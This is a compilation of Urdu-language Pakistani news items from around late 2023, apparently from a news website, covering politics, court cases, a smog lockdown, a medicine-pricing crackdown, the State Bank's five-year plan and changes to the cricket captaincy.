پشاور کے نجی ہوٹل کے مالک کی ایک بار پھر نازیبا ویڈیو وائرل، ملزم گرفتار

پشاور کے نجی ہوٹل کے مالک کو ایک بار پھر نازیبا ویڈیو وائرل ہونے پر گرفتار کرلیا گیاہے۔
تفصیلات کے مطابق پشاور کے نجی ہوٹل کے مالک کی ایک بار پھر نازیبا ویڈیو وائرل ہوگئی، جس کے بعد پولیس حکام نے معاملے کا نوٹس لیتے ہوئے ملزم کوگرفتار کرلیا۔
پولیس حکام کےمطابق تھانہ شاہ قبول نے ملزم کیخلاف کارروائی کرتے ہوئے مقدمہ درج کر لیا ہے۔
واضح رہے کہ نجی ہوٹل مالک کواس سےقبل بھی غیرملکی سیاحوں کی غیراخلاقی ویڈیوزوائرل ہونےپرگرفتار کیا گیا تھا

سعودی عرب: سرکاری ملازمین کے دوران ڈیوٹی سوشل میڈیا استعمال پر پابندی

سعودی عرب میں دوران ڈیوٹی سوشل میڈیا استعمال کرنے پر سرکاری ملازمین کے خلاف کارروائی کرنے کا فیصلہ کر لیا گیا۔
غیر ملکی خبر رساں ایجنسی کے مطابق سعودی وزارت افرادی قوت و سماجی بہبود کے عہدیدار عبود آل زاحم نے کہا ہے کہ ڈیوٹی کے دوران سرکاری ملازم سماجی رابطہ وسائل استعمال کرنے کا مجاز نہیں ہے اور خلاف ورزی کرنے والوں کے خلاف تادیبی کارروائی ہو گی۔
عبود آل زاحم نے توجہ دلائی کہ سرکاری اداروں کے ضابطہ اخلاق کے برخلاف ملازمین ڈیوٹی کے دوران اپنے موبائل کے ذریعے سماجی رابطہ وسائل پر سرگرم رہتے ہیں، یہ غیر قانونی اور غیر اخلاقی عمل ہے۔
انہوں نے کہا کہ سرکاری ملازمین کو اس حوالے سے مزید پابند بنانے کے لیے سخت ضابطہ سازی ضروری ہے اور ڈیوٹی کے دوران نجی موبائل کا استعمال بدنظمی کی انتہا ہے۔ بہت سارے سرکاری ملازم سرکاری اداروں سے رجوع کرنے والوں کو نظر انداز کر کے اپنے موبائل سے کھیلتے رہتے ہیں یہ خلاف تہذیب بھی ہے۔
عبود آل زاحم نے کہا کہ بہت سی بین الاقوامی کمپنیاں فرنٹ لائن پر کام کرنے والے اپنے ملازمین کو ڈیوٹی کے دوران نجی موبائل استعمال کرنے کی اجازت نہیں دیتیں اور نجی نوعیت کے رابطوں تک پر پابندی لگائے ہوئے ہیں۔

بشریٰ بی بی مجھے بتائے بغیرعمران خان کے گھر چلی جاتی تھی، خاور مانیکا

سابق وزیراعظم و چیئرمین پی ٹی آئی عمران خان کی اہلیہ بشریٰ بی بی کے سابق شوہر خاور مانیکا نے ہوشربا انشکافات کیے ہیں۔
نجی ٹی وی کے پروگرام میں گفتگو کرتے ہوئے خاور مانیکا نے کہا کہ اپنی اہلیہ سے عمران خان کی ملاقاتوں پر میں خوش نہیں تھا۔ ایک بار نوکر کی مدد سے اسے گھر سے بھی نکلوایا۔
انہوں نے کہاکہ میری سابق اہلیہ سے عمران خان کی ملاقات اسلام آباد دھرنے کے دوران ہوئی اور اس میں بشریٰ کی بہن مریم وٹو کا کردار تھا۔
بشریٰ بی بی کے ساتھ میری ازدواجی زندگی 28 سال چلی، بہت خوشگوار زندگی گزار رہے تھے مگر عمران خان نے پیری مریدی کے آڑ میں ہمارا گھر برباد کر دیا۔
خاور مانیکا نے کہاکہ میری والدہ نے مجھے کہا تھا کہ عمران خان ٹھیک آدمی نہیں ہے، اسے اپنے گھر آنے کی اجازت نہ دو۔
’عمران خان اور بشریٰ بی بی کی رات کے وقت فون پر لمبی لمبی باتیں ہونے لگ گئی تھیں، فرح گوگی کا بھی اس میں کردار تھا اور اُس نے میری اہلیہ کو خفیہ فون نمبر فراہم کیے‘۔
خاور مانیکا نے کہاکہ بشریٰ بی بی مجھے بتائے بغیر بنی گالا میں عمران خان کے گھر چلی جاتی تھی کیوں کہ میرا گھر بھی بنی گالا میں ہی تھا جہاں پر میری بیوی نے رہائش اختیار کی ہوئی تھی۔
انہوں نے کہاکہ عمران خان کے ساتھ نکاح سے 6 ماہ قبل بشریٰ مجھے سے علیحدگی اختیار کر کے میکے چلی گئی، میں بھی پاکپتن پہنچ گیا اور اِسے کہا ہے ساتھ چلو لیکن اس نے کہا کہ نہیں۔ اس کے بعد ایک دن فرح گوگی نے مجھے موبائل پر میسج کیا کہ آپ اپنی بیوی کو طلاق دے دیں۔
14 نومبر 2017 کو بشریٰ بی بی کو طلاق دی
انہوں نے کہاکہ فرح گوگی کے اس پیغام کے بعد میں بشریٰ بی بی کے پاس گیا اور پوچھا کہ کیا ماجرا ہے، تم چاہتی کیا تو اس نے اِس کا کوئی جواب نہیں دیا۔ اس کے بعد میں نے 14 نومبر 2017 کو اِسے طلاق دے دی۔
خاور مانیکا نے کہا کہ میں نے اپنی اہلیہ کو طلاق نامہ فرح گوگی کے ہاتھ بھیجا تھا، بعد میں فرح مجھے فون کر کے کہتی ہے کہ آپ طلاق کی تاریخ تبدیل کر دیں۔ ’ذلفی بخاری اور فرح گوگی نے مجھے کہا کہ آپ خاموش رہیں عمران خان وزیراعظم بننے جا رہے ہیں‘۔
انہوں نے کہاکہ میری طرف سے بشریٰ بی بی کو طلاق کے ڈیڑھ ماہ بعد عمران خان نے اس سے نکاح کر لیا۔ مجھے اور میرے بچوں کو اس شادی کا کوئی علم نہیں تھا۔ میڈیا پر خبر سامنے آنے کے بعد تردید کرنے کی وجہ بھی یہی تھی۔
خاور مانیکا نے کہاکہ پنجاب کے سارے تبادلے فرح گوگی، احسن گجر کراتے تھے۔
میری بیوی 5 بچوں کو چھوڑ کر گئی تو قوم نے اسے مبارکبادیں دیں
انہوں نے کہاکہ بشریٰ بی بی نے اپنے پہلے انٹرویو میں طلاق سے متعلق جو گفتگو کی وہ درست نہیں تھی، کیا کبھی پیر اور مرید بھی آپس میں شادی کرتے ہیں۔
خاور مانیکا نے کہاکہ میری بیوی 5 بچوں کو چھوڑ کر گئی تو پوری قوم نے اس کو مبارکبادیں دیں مگر مجھے کسی نے پوچھا تک نہیں، میرے بچے تو رُل کر رہ گئے۔
انہوں نے کہاکہ میری چھوٹی بیٹی کو ابھی 14 سال کی ہوئی ہے وہ اب بھی رات کے وقت روتی ہے، اس کی 4 سال سے والدہ سے کوئی بات نہیں ہوئی۔ جب سے بشریٰ بی بی وزیراعظم کی بیوی بنیں میں نے قوم کی تنقید کے علاوہ کچھ نہیں سنا۔
ہمارے خاندان میں کسی کا رئیل اسٹیٹ کا کاروبار نہیں
انہوں نے کہاکہ میرے خاندان کا احسن جمیل گجر سے کوئی تعلق نہیں تھا وہ خود ہی زبردستی آ کر بچوں کے ساتھ بیٹھ جاتا تھا۔ اپنے والد کو کبھی جمیل گجر کے گھر جاتے ہوئے نہیں دیکھا۔
انہوں نے کہاکہ ایک بار وزیراعلیٰ پنجاب کے سیکریٹری کو فون کیا تو رات کے وقت فرح گوگی کا بچوں کو فون آ گیا کہ خاور مانیکا کو بتا دیں وزیراعلیٰ کو فون نہ کریں۔
انہوں نے کہاکہ ہمارے خاندان میں کوئی بھی رئیل اسٹیٹ کا کاروبار نہیں کر رہا۔ ہمارا لائف اسٹائل جو پہلے تھا وہ اب بھی ہے، اثاثوں میں کوئی تبدیلی نہیں آئی۔

دہشتگرد مذاکرات چاہتے ہیں تو غیر مشروط طور پر ہتھیار پھینکیں، نگران وزیراعظم

نگران وزیراعظم انوارالحق کاکڑ کا کہنا ہے کہ افغان عبوری حکومت اچھی طرح جانتی ہے کہ ٹی ٹی پی کہاں کہاں موجود ہے۔ انہیں ہمارے حوالے کرنا ہے یا کارروائی کرنی ہے یہ فیصلہ کابل نے خود کرنا ہے۔
ایک انٹرویو میں نگران وزیراعظم انوارالحق کاکڑ نے کہا کہ سیکیورٹی فورسز یا عام شہریوں پر حملے ہونگے تو پھر جواب بھی ملے گا ۔ دہشتگرد مذاکرات چاہتے ہیں تو غیر مشروط طور پر ہتھیار پھینکیں ۔ بات چیت کرنے یا نہ کرنے کا فیصلہ اس کے بعد ہوگا۔
انوارالحق کاکڑ نے کہا کہ بندوق کی نوک پرمذاکرات پرمجبور کریں گے یہ غلط فہمی دور کرلیں، پہلے ناجائزکام سے پیچھے ہٹیں پھرسوچاجائیگا مذاکرات ہو یا نہیں۔ ہتھیار اُٹھانے کا جواز سراسر ناجائز ہے۔ انہوں نے مزید کہا کہ ہم مطلق مذاکرات سے قططاً انکارنہیں کررہے، کسی کاریاست سے مذاکرات کاارادہ ہےتوپہلے ہتھیار پھینکے۔
انہوں نے مزید کہا کہ ہمارے اور افغانستان کے قوانین بھی باقی دنیا جیسے ہونے چاہئیں، ہم نے افغانیوں کے ساتھ بہتر رویہ اختیار کیا ہے، غیرقانونی مقیم افراد کو واپس بھیجنے کی پالیسی اختیار کی ہے، ہم رجسٹرڈ افغان مہاجرین کو واپس نہیں بھیج رہے۔
نگران وزیراعظم کا کہنا تھا کہ چیئرمین پی ٹی آئی کا تحفظ یقینی بناناہماری قانونی ذمہ داری ہے، چیئرمین پی ٹی آئی جیل میں جسمانی طورپربالکل محفوظ ہیں، حکومتیں کرمنل گروہ نہیں،الزامات لگانے سے پہلے10بارسوچیں، سابق وزیراعظم تمام الزامات کا سامنا کررہے ہیں۔
ان کا کہنا تھا کہ سابق وزیراعظم کی گرفتاری قانونی طورپرہوئی، سابق وزیراعظم کی گرفتاری نگران حکومت سے پہلے ہوئی۔ کیا نگران حکومت نے سابق وزیراعظم کو جیل میں ڈالا ہے؟ میں بھی فوجی تنصیبات پرحملہ کروں توملٹری ٹرائل ہوناچاہیے۔
انہوں نے کہا کہ ایک پارٹی کو اذیت اور دوسری کونوازا جارہا ہے یہ تاثرغلط ہے، پی ٹی آئی رہنما بھی اپنی سیاسی سرگرمیاں جاری رکھے ہوئےہیں، دیگر جماعتیں اپنی سیاسی سرگرمیوں میں مصروف ہیں، یہاں اذیت پسند لوگ نہیں کہ چیئرمین پی ٹی آئی سے ذاتی بدلہ لینا ہے، قانون انہیں سزا کا مستحق ٹھہراتا ہے تو قوانین کے اندر سزادی جائے گی۔

عام انتخابات سے قبل ایم کیو ایم کو مختلف جماعتوں کی حمایت ملنا شروع

عام انتخابات سے قبل متحدہ قومی موومنٹ (ایم کیو ایم) پاکستان کو مختلف برادریوں اور جماعتوں کی حمایت ملنا شروع ہو گئی ہے۔
تفصیلات کے مطابق بلدیہ ٹاؤن کے بلوچ عمائدین کی متحدہ قومی موومنٹ (ایم کیو ایم) پاکستان کے سینئر ڈپٹی کنوینر مصطفیٰ کمال سے ملاقات ہوئی جس میں یوسف گوٹھ یوسی 13 کے بلوچ عمائدین نے ایم کیو ایم کی حمایت کا اعلان کیا۔
ملاقات میں ایم کیو ایم کی جانب سے مصطفیٰ کمال کو بلدیہ ٹاؤن سے قومی اسمبلی کا ٹکٹ بھی دے دیا گیا ہے۔
اس کے علاوہ بنگالیوں کی نمائندہ جماعت پاک مسلم الائنس نے بھی عام انتخابات میں ایم کیو ایم کی حمایت کا اعلان کیا ہے۔
میو برادری نے بھی عام انتخابات میں ایم کیو ایم کی حمایت کر رکھی ہے جبکہ ایم کیو ایم کو آئندہ آنے والے دنوں میں مختلف جماعتوں و برادریوں کی حمایت ملنے کا امکان ہے۔
یاد رہے کہ مسلم لیگ ن اور ایم کیو ایم پاکستان نے 8 فروری کو ہونے والے عام انتخابات مل کر لڑنے کا اعلان کیا ہے۔
اس حوالے سے ایم کیو ایم پاکستان نے آج رابطہ کمیٹی کا اہم اجلاس شام 6 بجے پاکستان ہاؤس میں طلب کر لیا جس میں مسلم لیگ ن سے عام انتخابات میں ہونے والے اتحاد سے متعلق تفصیلی گفتگو ہوگی اور عام انتخابات کی تیاریوں کا جائزہ بھی لیا جائے گا۔
ایم کیو ایم پاکستان کے رابطہ کمیٹی کے اجلاس میں مسلم لیگ ن کے وفد سے آئندہ ہونے والی ملاقات سے متعلق بھی مختلف امور پر مشاورت ہوگی اور 26 نومبر کو کورنگی میں ہونے والے جلسے کی تیاریوں کے لیے کمیٹیاں تشکیل دی جائیں گیں۔
دوسری جانب ایم کیو ایم کے ساتھ اشتراک کے بعد مسلم لیگ ن کے قائد نواز شریف کا بیان بھی سامنے آیا تھا۔
نواز شریف نے ایم کیو ایم کے وفد سے ملاقات کے موقع پر گفتگو کرتے ہوئے کہا تھا کہ ایم کیو ایم کے ساتھ اشتراک ملک وقوم کو مسائل سے نکالنے کے لئے مثبت پیش رفت ہے، مل کر ملک اور قوم کو مسائل سے نکالنے کی جدوجہد کریں گے۔
انہوں نے کہا تھا کہ ہمیں صرف پاکستان کی ترقی چاہیے، سندھ، بلوچستان، خیبرپختونخوا، پنجاب، آزاد جموں و کشمیر اور گلگت بلتستان سب کی یکساں ترقی چاہتے ہیں، پاکستان کے ہر علاقے کی ترقی ہماری ترجیح رہی ہے، کبھی امتیاز برتا نہ برتیں گے۔

جعلی و غیررجسٹرڈ ادویات اور ناجائز منافع خوروں کیخلاف کریک ڈاؤن

جعلی و غیررجسٹرڈ ادویات اور ناجائز منافع خوروں کیخلاف کریک ڈاؤن جاری ہے۔
کراچی میں ڈریپ ٹیم نے مختلف علاقوں میں ادویات مہنگی بیچنے والی فارمیسیز اور میڈیکل اسٹورز سیل کر دیئے۔
وفاقی وزارت صحت کےمطابق ڈرپ ٹیم نے کراچی کے علاقوں ڈی ایچ اے ، گلشن اقبال اور گلستان جوہر میں چھاپےمارے، ہیپارین انجکشن 800 کے بجائے ساڑھے 3 ہزار روپے میں بیچا جارہا تھا،
ٹرامال، اگمینٹن، ہاییڈرالین سیرپ کی بھی زیادہ قیمت لی جا رہی تھی، ڈریپ ٹیم نے تمام ادویات کا اسٹاک قبضے میں لیکر دکانیں سیل کر دیں۔

جعلی شناختی کارڈبنانے والے 147افغان خاندانوں کی طلبی

نیشنل ڈیٹا بیس اینڈ رجسٹریشن اتھارٹی نے جعلی شناختی کارڈ کے حصول پر 147 افغان خاندانوں کے افراد کو چھان بین کے لئے طلب کر لیا ہے۔ ذرائع کے مطابق نادرا کی جانب سے مذکورہ افراد کو دو ہفتے کے اندر متعلقہ دفاتر میں ضروری دستاویزات کے ہمراہ حاضر ہو نے کی ہدایت کی گئی ہے۔ اس سلسلہ میں سب سے زیادہ نوٹس پشاور کے مشتبہ افراد کو جاری کئے گئے ہیں
نمک منڈی، رشید گڑھی، سردار احمد جان کا لونی، مہمند آباد، وڈپگہ، وزیر باغ، لڑمہ، سوڑیزئی، بھانہ ماڑی، گلبہار نمبر 3، بورڈ تاج آباد، بخشو پل، میرا کچوڑی کے علاوہ نوشہرہ، ڈیرہ اسماعیل خان، وزیرستان، باجوڑ، ٹانک، نوشہرہ اورپبی میں مقیم مشتبہ افراد کو نوٹس جاری کئے گئے ہیں اس حوالے سے واضح کر دیا گیا ہے کہ دو ہفتے کے اندر تفصیلات کی عدم فراہمی پر ان خاندانوں کے خلاف کارروائی کی جائے گی۔ ذرائع نے بتایا کہ مشتبہ افغان باشندوں کو جعلی طریقے سے پاکستانی شناختی کارڈ جاری کرنے کی چھان بین کی جارہی ہیں ۔

اسموگ وبا بن گئی، پنجاب کے 10 اضلاع میں اسمارٹ لاک ڈاؤن نافذ

اسموگ وبا بن گئی،پنجاب کے 10 اضلاع میں اسمارٹ لاک ڈاؤن نافذ ہے،آج دس اضلاع میں سرکاری و نجی اسکولز ،کالجز اور جامعات بند رہیں گے جبکہ مارکیٹیں ، جمز ،ریسٹورنٹس اور سینما گھروں کو تین بجے کے بعد کام کی اجازت ہو گی، جبکہ دفاتر بھی تین بجے کے بعد کھولے جا سکتے ہیں ۔
لاہور کا ایئر کوالٹی انڈیکس خطرناک حد تک بڑھ گیا ،شہرکا مجموعی ایئر کوالٹی انڈیکس 394 ریکارڈ کیا جارہا ہے۔دنیا کے آلودہ ترین شہروں کی فہرست میں لاہور ایک مرتبہ پھر پہلے نمبر پرآگیا۔
شہر کے بہت سے علاقوں میں ایئر کوالٹی انڈیکس 450 سے بھی تجاوز کر گیا،پنجاب حکومت نے لاہور اور گوجرانوالا ڈویژن میں معمولات زندگی محدود کرنے کا فیصلہ کیا، لاہور،گوجرانوالا، ننکانہ صاحب، شیخوپورہ اور قصور میں نقل و حمل محدود ہوگی۔
گجرات، سیالکوٹ، نارووال، حافظ آباد اور منڈی بہاؤالدین میں بھی نقل و حمل محدود کرنیکا فیصلہ کیا گیا۔آج تمام سرکاری و نجی تعلیمی ادارے بند رہیں گے، آن لائن کلاسز لی جاسکتی ہیں۔
ماہرین کی جانب سے شہریوں کو ماسک لگانے اور احتیاطی تدابیر کی ہدایت کی گئی ہے۔
یاد رہے کہ گزشتہ ہفتے نگران وزیراعلیٰ محسن نقوی نے اسموگ کے باعث لگایا گیا لاک ڈاؤن ختم کرنے کا اعلان کیا، اوریہ فیصلہ بارش کے بعد ایئر کوالٹی بہتر ہونے پر کیا گیاتھا۔تاہم اب پھراسموگ کی خراب صورتحال کے پیش نظر مذکورہ دس اضلاع میں جزوی لاک ڈائون لگا دیا گیا ہے

کراچی کو ساتھ رکھو گے تو معیشت اور جمہوریت مستحکم رہے گی، فاروق ستار

ایم کیو ایم پاکستان کے رہنماء ڈاکٹر فاروق ستار کا کہنا ہے کہ وفاق کی بڑی جماعتوں کو کہہ دیا کراچی مضبوط ہوگا تو پاکستان مضبوط ہوگا، کراچی کو ساتھ رکھو گے تو معیشت اور جمہوریت مستحکم رہے گی، ہم 4 ہزار ارب کا ٹیکس دیتے ہیں بدلے میں ہمیں 400 ارب بھی ڈیولپمنٹ فنڈ نہیں ملتا، ایم کیو ایم نے 15 دسمبر تک کراچی میں 100 انتخابی دفاتر کھولنے کا فیصلہ کیا ہے۔
ایم کیو ایم پاکستان کے سینئر ڈپٹی کنوینر رہنماء ڈاکٹر فاروق ستار کا کہنا ہے کہ کراچی کے بیٹے اس ملک کا قرض اتارنے کیلئے تیار ہیں، سیالکوٹ کے تاجروں نے ایئرپورٹ بنادیا، مقامی ایئر لائن بناکر دی، کراچی والے ملک کو 4 ہزار ارب کماکر دیتے ہیں کیا نیو کراچی میں انڈسٹریل زون نہیں بناسکتے، ہم 4 ہزار ارب کا ٹیکس دیتے ہیں بدلے میں ہمیں 400 ارب بھی ڈیولپمنٹ فنڈ نہیں ملتا، کیا ہم اپنے بچوں کیلئے ایک نئی یونیورسٹی نہیں بناسکتے، کراچی کو بائیسویں نہیں تئیس ویں صدی میں لے جائیں گے۔
انہوں نے کہا کہ ہمیں ایم کیو ایم کے پرانے دفاتر نہیں چاہئیں، 15 دسمبر تک کراچی میں 100 انتخابی دفاتر کھولنے کا فیصلہ کیا ہے، پیپلزپارٹی دور میں پی ٹی آئی نے بھی انہیں دودھ پلایا، پیپلزپارٹی اور پی ٹی آئی کا خفیہ گٹھ جوڑ تھا، ایک دن بھی پی ٹی آئی کا وزیراعظم کراچی میں نہیں رکا، مصطفیٰ کمال کے دور میں 10 کروڑ گیلن اضافی پانی شہر میں آیا، پیپلزپارٹی کے 15 سالوں میں نہ اضافی پانی ملا اور نہ ہی کوئی کام ہوا۔
ایم کیو ایم رہنماء نے کہا کہ کراچی کو ساتھ رکھو گے تو معیشت اور جمہوریت مستحکم رہے گی، مقامی خودمختاری کے ذریعے ہی شہر کے مسائل حل ہوں گے، جب کوئی بڑی جماعت ایم کیو ایم کے مرکز آتی ہے تو انکو تکلیف ہوتی ہے، عوام کو کھوکھلے نعروں کے پیچھے لگاکر رکھا ہوا ہے، کراچی کو تباہی کے دہانے پر لاکھڑا کرنے والوں کے حساب کا وقت آچکا، وفاق کی بڑی جماعتوں کو کہہ دیا کراچی مضبوط ہوگا تو پاکستان مضبوط ہوگا۔
ڈاکٹر فاروق ستار کا کہنا ہے کہ حکمراں طبقہ ترقی یافتہ ہوگیا مگر عوام بدحالی کی تصویر بن گئے، اب یہ نہیں چلے گا اور مضبوط کراچی ہی ترقی کی ضمانت ہوگا، ناانصافی اور ظلم کا سلسلہ اب ختم ہونا چاہئے، ایم کیو ایم کو مردہ گھوڑا کہنے والوں کے پیٹ میں مروڑ کیوں ہے، ایم کیو ایم کے دفن ہونے پر تمہیں تو شادیانے بجانے چاہئیں، جشن منانا چاہئے۔
انہوں نے کہا کہ ہم قومی اسمبلی کی 22 نشستیں حاصل کریں گے، ہم صوبائی اسمبلی کی نشستوں پر بھی بھرپور کامیابی حاصل کریں گے، وزارتوں کو ہم نے اس بار جوتی کی نوک پر رکھا ہے، اب ہمیں سر اٹھا کر چلنا ہے، اب لوڈشیڈنگ کرنے والوں کی لوڈشیڈنگ کریں گے۔
ایم کیو ایم پاکستان کے رہنماء کا مزید کہنا ہے کہ کراچی غریب پرور شہر ہے ہم نے کبھی یہاں آنے والوں کو نہیں روکا، ہم نے کبھی مہاجروں کو گننے کی بات نہیں کی، ہم نے کہا جو بھی اس شہر میں رہتا ہے اسکو گنا جائے، قومی اسمبلی کی ایک اور صوبائی اسمبلی کی 3 نشستوں کا اضافہ صرف کراچی میں ہوا۔
ڈاکٹر فاروق ستار نے کہا کہ آج نیو کراچی میں پریکٹس میچ ہے ابھی فائنل کھیلنا باقی ہے، پیپلزپارٹی کے بستر گول ہونے کا یہ تعزیتی اجلاس نہیں، ایم کیو ایم کا جلسہ ہے، نیو کراچی میں آئندہ ہونے والا جلسہ ایم کیو ایم کے تمام جلسوں کا ریکارڈ توڑے گا، مایوسی سے امید کا سفر شروع ہوچکا، غلطیاں ہوئی ہیں اس کا ازالہ کرنا ہے

اسٹیٹ بینک نےآئندہ پانچ سال کا اسٹریٹجک پلان جاری کردیا

اسٹیٹ بینک نے اسٹریٹجک پلان برائے 2023 تا 2028ایس بی پی وژن 2028 جاری کردیا۔
اسٹیٹ بینک وژن 2028 اسٹیٹ بینک ایکٹ میں ترمیم کے بعد جاری کیا جانے والا پہلا منصوبہ ہےاوراس میں مرکزی بینک کا نصب العین، مشن اور اگلے پانچ سال کیلئے متعین کلیدی اہداف بتائے گئے ہیں۔ اسٹریٹجک پلان اہم متعلقہ فریقوں کے ساتھ ای مشاورتی اور جامع عمل کے ذریعے تیار کیا گیا ہے۔
کراچی میںتقریب سے خطاب کرتے ہوئے اسٹیٹ بینک کے گورنر جمیل احمدنے کہا کہ اسٹیٹ بینک وژن 2028 اسٹیٹ بینک کے اس عزم کا اظہار ہے کہ قیمتوں کا استحکام اورمالی استحکام حاصل کیا جائے گا اور ملک کی پائیدار اقتصادی ترقی میں حصہ لیا جائے گا۔
انہوں نے کہا کہ پلان کی تیاری کے دوران جن امور کو مدِنظر رکھا گیا ہے ان میں معیشت اور مالی استحکام کو درپیش ابھرتے ہوئے خطرات بشمول ماحولیاتی تبدیلی ، تیزرفتار ڈیجیٹل اختراعات اور رکاوٹیں، اور سائبر سکیورٹی کے بڑھتے ہوئے خطرات بھی شامل ہیں۔
گورنر اسٹیٹ بینک نے کہا کہ ایس بی پی وژن 2028 میں چھ اہم اسٹریٹجک مقاصد کا احاطہ کیا گیا ہے، جن میں مہنگائی کو وسط مدتی ہدف کی حد میں رکھنا اور مالی نظام کی کارکردگی، اثرانگیزی، شفافیت اور استحکام بڑھانا، مالی خدمات تک شمولیتی اور پائیدار رسائی کو فروغ دینا،
ان کا کہنا تھا شریعت سے ہم آہنگ بینکاری نظام میں ڈھالنا، جدت پسندانہ اور شمولیت پر مبنی ڈیجیٹل مالی خدمات کا ایکوسسٹم تشکیل دینا اور اسٹیٹ بینک کو ہائی ٹیک اور عوام پر مرتکز ادارے کا روپ دینا شامل ہیں۔
گورنر جمیل احمد نے کہاکہ ان اسٹریٹجک مقاصد کو پانچ بنیادی موضوعات کے گرد تشکیل دیا گیا ہے جن میں اسٹریٹجک ابلاغ، ماحولیاتی تبدیلی، ٹیکنالوجی میں جدت طرازی، تنوع اور شمولیت، اور پیداواریت اور مسابقت شامل ہی

ٹی ٹوینٹی کپتان بننے کے بعد شاہین شاہ آفریدی نے پہلا پیغام جاری کر دیا

بابراعظم کے مستعفیٰ ہونے کے بعد پاکستان کرکٹ بورڈ نے ٹیسٹ اور ٹی ٹوینٹی کے نئے کپتانوں کا اعلان کر دیا ہے ، شاہین شاہ آفریدی ٹی ٹوینٹی اور شان مسعود ٹیسٹ سکواڈ کے کپتان ہوں گے ۔
شاہین شاہ آفریدی نے ٹی ٹوینٹی کیپٹن بننے کے بعد ‘ ایکس’پر پیغام جاری کرتے ہوئے کہا کہ ” بابراعظم آپ کی بے مثال قیادت کے زیر سائے حقیقی ٹیم ورک اور دوستی کا مشاہدہ ایک اعزاز ہے ، آپ کی قیادت ،ٹیم کے اتحاد اور اجتماعی کامیابی کا عزم قابل تحسین ہے ،انشاء اللہ آپ کو بیٹنگ کے مزید ریکارڈ توڑتے ہوئے
یاد رہے کہ بابراعظم نے آج چیئرمین مینجمنٹ کمیٹی ذکاء اشرف سے ملاقات کے کچھ دیر کے بعد ایکس پر جاری پیغام میں تینوں فارمیٹس کی کپتانی چھوڑنے کا اعلان کیا ۔ بابراعظم کے اعلان کے کچھ دیر کے بعد پی سی بی کی جانب سے ٹیسٹ اور ٹی ٹوینٹی کے نئے کپتانوں کا اعلان کیا گیا تاہم ون ڈے کی کپتانی کس کے پاس جائے گی اس کا فیصلہ تاحال نہیں ہو سکا ہے 

190 ملین پاؤنڈ کرپشن کیس: عمران کے جسمانی ریمانڈ کی استدعا مسترد

اسلام آباد کی احتساب عدالت نے 190 ملین پاؤنڈ کرپشن کیس میں چیئرمین پی ٹی آئی عمران خان کے جسمانی ریمانڈ کی استدعا مسترد کر دی۔
احتساب عدالت کے جج محمد بشیر نے اڈیالہ جیل میں سماعت کی، اس موقع پر نیب پراسیکیوٹر مظفر عباسی نے 10 روز کے جسمانی ریمانڈ کی استدعا کی جبکہ عمران خان کے وکیل سلمان صفدر نے جسمانی ریمانڈ کی مخالفت کی۔
احتساب عدالت کے جج نے نیب پراسیکیوٹر اور عمران خان کے وکیل کے دلائل سننے کے بعد فیصلہ محفوظ کیا تھا جو سنا دیا گیا۔
اب نیب کی ٹیم اڈیالہ جیل میں چیئرمین پی ٹی آئی عمران خان سے تفتیش کرے گی۔
واضح رہے کہ گزشتہ روز اسلام آباد کی احتساب عدالت نے 190 ملین پاؤنڈ کرپشن کیس میں عمران خان کے وارنٹ گرفتاری جاری کیے تھے جس کے بعد جیل میں ہی ان کی گرفتاری عمل میں لائی گئی۔
عمران خان اس سے قبل سائفر کیس میں جیل میں قید ہیں اور سیکیورٹی وجوہات کی بنا پر ان کا ٹرائل جیل میں ہی کیا جا رہا ہے، آج وزارت قانون نے 190 ملین پاؤنڈ کرپشن کیس میں بھی عمران خان کے جیل ٹرائل کا نوٹیفکیشن جاری کیا ہے۔

بلوچستان کےسابق وزیراعلیٰ، سینیٹرز ،ارکان صوبائی و قومی اسمبلی ن لیگ میں شامل

مسلم لیگ نون کے قائد میاں محمد نواز شریف کا مشن بلوچستان کامیاب ہوگیا ، جہاں بلوچستان کے سابق وزیراعلیٰ، سینیٹرز ،صوبائی و قومی اسمبلی ارکان سمیت متعدد بڑی شخصیات ن لیگ میں شامل ہوگئیں ۔
تفصیلات کے مطابق پاکستان مسلم لیگ نون کے قائدنواز شریف اور دیگر لیگی قائدین سے بلوچستان کے مختلف سیاسی جماعتوں کے رہنمائوں نے کوئٹہ کے نجی ہوٹل میں ملاقات کی، اس موقع پر پارٹی کے مرکزی صد راور سابق وزاعظم شہباز شریف، چیف آرگنائزز ن لیگ مریم نواز ، سردار ایا ز صادق ،پرویز رشید، کیپٹن (ر) محمد صفدر ، مریم اورنگزیب سمیت و دیگر رہنما بھی موجود تھے۔
ملاقات میں پاکستان پیپلز پارٹی ،بلوچستان عوامی پارٹی، نیشنل پارٹی ، بلوچستان نیشنل پارٹی سمیت30سے زائد سیاسی شخصیات نے پاکستان مسلم لیگ (ن) کےقائد سابق وزیر اعظم نواز شریف کی قیادت پر اعتما د کا اظہار کرتے ہوئے مسلم لیگ ن میں شمولیت اختیار کرلی۔
مسلم لیگ ن میں شامل ہونے والوں میں بلوچستان عوامی پارٹی کے سابق وزیراعلیٰ جام کمال، سابق وزرامیر سلیم احمدکھوسہ، حاجی نور محمد دمڑ، ڈاکٹر ربابہ بلیدی ،سردار عبدالرحمن کھیتران،میر عبدا لغفور لہڑی ،حاجی محمد خان لہڑی ،میر عطا اللہ بلیدی، سردار مسعود لونی میر شعیب نوشیروانی،میر عاصم کرد گیلو،نواب جنگیز مری، رامین محمد حسنی،میر دوستین ڈومکی نیشنل پارٹی کے میر مجیب محمد حسنی، بی این پی کی سابق رکن اسمبلی زینت شاہوانی شامل ہیں۔
ان کے علاوہ پی ٹی آئی کے سابق ایم این اے خان محمد جمالی ،سردار عاطف علی سنجرانی، نیشنل پارٹی کے سابق سینیٹر ڈاکٹر اشوک کمار ، سابق سینیٹر پی پی پی سید الحسن مندوخیل، پیپلز پارٹی کے سردار فتح محمد حسنی،ملک ابرار احمد،میر فائق جمالی ،سحر گل خلجی ، میر شوکت بنگلزئی ، میر انور شاہوانی ، سردار علی حید ر محمد حسنی ، جعفر کریم بھنگر ، حاجی نور اللہ لہڑی ، آغا فیصل ، ملک شیر یار ، ڈاکٹر محمد ایوب ، میر مصلح الدین مینگل سمیت مختلف قبائلی سیاسی سماجی شخصیات بھی شامل ہیں ۔
